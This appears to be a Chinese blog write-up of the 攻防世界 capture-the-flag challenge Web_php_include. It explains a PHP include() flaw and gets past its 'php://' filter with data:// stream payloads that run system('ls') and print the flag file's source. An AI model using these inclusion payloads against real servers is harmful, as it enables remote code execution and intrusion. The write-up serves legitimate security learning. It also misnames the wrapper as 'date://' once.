[攻防世界]Web_php_include

Thou

题目来源:

攻防世界>>答题>>Web>>高手进阶区>>Web_php_include

前置知识:

PHP include()与php伪协议: PHP伪协议总结 - SegmentFault 思否

PHP strstr(): strstr(string $haystack, [mixed](https://www.php.net/manual/zh/language.types.declarations.php#language.types.declarations.mixed) $needle, bool $before_needle = false)查找$needle在$haystack中的首次出现,返回值为字符串或0(未查找到结果)。 [su_highlight]注意该函数区分大小写[/su_highlight] 。 详细文档>>

PHP str_replace(): 字符串替换。详细文档>>

WriteUp:

打开链接访问网页,发现显示以下代码:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

分析代码:

通过GET请求发送hellopage给服务器,hello会被echo语句输出出来,page会传给$page变量,$page变量中的php:// 被过滤掉后传到include($page);语句当中。

首先我们先扫描常用的php页面:

001

发现可以访问phpinfo.php,因为可以通过GET请求控制include($page)这个语句的执行内容,因此猜想可以通过伪协议来执行php语句,前往phpinfo.php页面查看是否满足条件:

002

发现allow_url_fopenallow_url_ include的值都为on,满足伪协议的条件。

这里我选择了date://这个伪协议

date://伪协议的用法:

1
2
3
data://text/plain,<语句>
data://text/plain,base64,<语句(需base64加密)>

构造?page=data://text/plain,<?php system("ls");?>的GET请求(注意URL转码)发送:

003

发现fl4gisisish3r3.php文件,再次构造?page=data://text/plain,<?php show_source("fl4gisisish3r3.php")?>输出该文件的源码

004

得到flag(注意:若使用cat fl4gisisish3r3.php的方式查看flag需要在网页源代码里才能看到,页面不直接显示)


做这道题时我还有一些其他思路,比如利用strstr()大小写敏感来防止php://伪协议被过滤。而且我感觉hello这个GET请求应该也可以利用拿到flag,不过目前我对php的了解还不够多,想不到什么办法,不过网上有很多dalao利用了这个hello。这次就先写这一个方法吧,有空研究研究继续写

  • 标题: [攻防世界]Web_php_include
  • 作者: Thou
  • 创建于 : 2021-09-21 23:34:17
  • 更新于 : 2024-12-19 15:27:27
  • 链接: https://blog.txgde.space/2021/09/21/攻防世界web_php_include/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
[攻防世界]Web_php_include